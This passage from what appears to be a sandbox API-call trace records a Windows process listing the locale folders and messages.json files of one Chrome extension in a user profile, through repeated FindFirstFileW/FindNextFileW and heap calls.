ftLastAccessTime.dwLowDateTime=0x8413b8f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8413b8f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es_419", cAlternateFileName="")) returned 1 [0275.631] GetProcessHeap () returned 0x550000 [0275.631] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26320b0 [0275.631] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\es_419\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x841391e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8413b8f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8413b8f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a48 [0275.631] FindNextFileW (in: hFindFile=0x639a48, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x841391e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8413b8f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8413b8f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0275.631] FindNextFileW (in: hFindFile=0x639a48, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8413b8f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8413b8f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x844b43b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xe5, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0275.631] FindNextFileW (in: hFindFile=0x639a48, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8413b8f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8413b8f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x844b43b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xe5, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0275.632] FindClose (in: hFindFile=0x639a48 | out: hFindFile=0x639a48) returned 1 [0275.632] GetProcessHeap () returned 0x550000 [0275.632] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26320b0 | out: hHeap=0x550000) returned 1 [0275.632] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ced6d0 | out: lpFindFileData=0x2ced6d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x84140710, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x84142e20, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x84142e20, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="et", cAlternateFileName="")) returned 1 [0275.632] GetProcessHeap () returned 0x550000 [0275.632] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26320b0 [0275.632] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\et\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x84140710, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x84142e20, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x84142e20, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a48 [0275.679] FindNextFileW (in: hFindFile=0x639a48, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x84140710, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x84142e20, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x84142e20, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0275.679] FindNextFileW (in: hFindFile=0x639a48, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x84142e20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x84142e20, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x844b43b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xe2, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0275.679] FindNextFileW (in: hFindFile=0x639a48, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x84142e20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x84142e20, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x844b43b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xe2, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0275.679] FindClose (in: hFindFile=0x639a48 | out: hFindFile=0x639a48) returned 1 [0275.679] GetProcessHeap () returned 0x550000 [0275.679] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26320b0 | out: hHeap=0x550000) returned 1 [0275.680] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ced6d0 | out: lpFindFileData=0x2ced6d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x84147c40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8414a350, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8414a350, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi", cAlternateFileName="")) returned 1 [0275.680] GetProcessHeap () returned 0x550000 [0275.680] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26320b0 [0275.680] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\fi\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x84147c40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8414a350, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8414a350, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a48 [0275.680] FindNextFileW (in: hFindFile=0x639a48, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x84147c40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8414a350, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8414a350, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0275.680] FindNextFileW (in: hFindFile=0x639a48, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8414a350, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8414f170, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x844b43b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xdc, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0275.680] FindNextFileW (in: hFindFile=0x639a48, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8414a350, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8414f170, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x844b43b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xdc, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0275.680] FindClose (in: hFindFile=0x639a48 | out: hFindFile=0x639a48) returned 1 [0275.680] GetProcessHeap () returned 0x550000 [0275.680] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26320b0 | out: hHeap=0x550000) returned 1 [0275.681] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ced6d0 | out: lpFindFileData=0x2ced6d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x84153f90, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x841566a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x841566a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fil", cAlternateFileName="")) returned 1 [0275.681] GetProcessHeap () returned 0x550000 [0275.681] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26320b0 [0275.681] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\fil\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x84153f90, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x841566a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x841566a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a08 [0275.786] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x84153f90, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x841566a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x841566a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0275.786] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x841566a0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x841566a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x844b43b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xdf, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0275.786] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x841566a0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x841566a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x844b43b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xdf, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0275.786] FindClose (in: hFindFile=0x639a08 | out: hFindFile=0x639a08) returned 1 [0275.787] GetProcessHeap () returned 0x550000 [0275.787] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26320b0 | out: hHeap=0x550000) returned 1 [0275.787] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ced6d0 | out: lpFindFileData=0x2ced6d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8415b4c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8415dbd0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8415dbd0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr", cAlternateFileName="")) returned 1 [0275.787] GetProcessHeap () returned 0x550000 [0275.787] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x3732068 [0275.787] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\fr\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8415b4c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8415dbd0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8415dbd0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a08 [0275.787] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8415b4c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8415dbd0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8415dbd0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0275.787] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8415dbd0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8415dbd0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x844b43b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xe2, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0275.787] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8415dbd0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8415dbd0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x844b43b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xe2, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0275.787] FindClose (in: hFindFile=0x639a08 | out: hFindFile=0x639a08) returned 1 [0275.787] GetProcessHeap () returned 0x550000 [0275.788] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3732068 | out: hHeap=0x550000) returned 1 [0275.788] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ced6d0 | out: lpFindFileData=0x2ced6d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x841629f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x84165100, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x84165100, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="he", cAlternateFileName="")) returned 1 [0275.788] GetProcessHeap () returned 0x550000 [0275.788] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x3732068 [0275.788] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\he\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x841629f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x84165100, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x84165100, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a08 [0276.065] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x841629f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x84165100, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x84165100, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0276.065] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x84165100, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x84165100, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x844b43b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xee, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0276.065] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x84165100, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x84165100, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x844b43b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xee, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0276.065] FindClose (in: hFindFile=0x639a08 | out: hFindFile=0x639a08) returned 1 [0276.065] GetProcessHeap () returned 0x550000 [0276.065] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3732068 | out: hHeap=0x550000) returned 1 [0276.065] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ced6d0 | out: lpFindFileData=0x2ced6d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x84169f20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8416c630, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8416c630, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hi", cAlternateFileName="")) returned 1 [0276.066] GetProcessHeap () returned 0x550000 [0276.066] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x3732068 [0276.066] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\hi\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x84169f20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8416c630, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8416c630, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a08 [0276.066] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x84169f20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8416c630, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8416c630, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0276.066] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8416c630, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8416c630, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x844b43b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0276.066] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8416c630, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8416c630, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x844b43b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0276.066] FindClose (in: hFindFile=0x639a08 | out: hFindFile=0x639a08) returned 1 [0276.066] GetProcessHeap () returned 0x550000 [0276.066] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3732068 | out: hHeap=0x550000) returned 1 [0276.066] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ced6d0 | out: lpFindFileData=0x2ced6d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x84171450, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x84173b60, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x84173b60, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu", cAlternateFileName="")) returned 1 [0276.066] GetProcessHeap () returned 0x550000 [0276.067] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x3732068 [0276.067] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\hu\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x84171450, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x84173b60, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x84173b60, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a08 [0276.168] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x84171450, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x84173b60, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x84173b60, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0276.168] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x84173b60, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x84173b60, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x844b43b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xeb, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0276.168] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x84173b60, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x84173b60, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x844b43b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xeb, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0276.168] FindClose (in: hFindFile=0x639a08 | out: 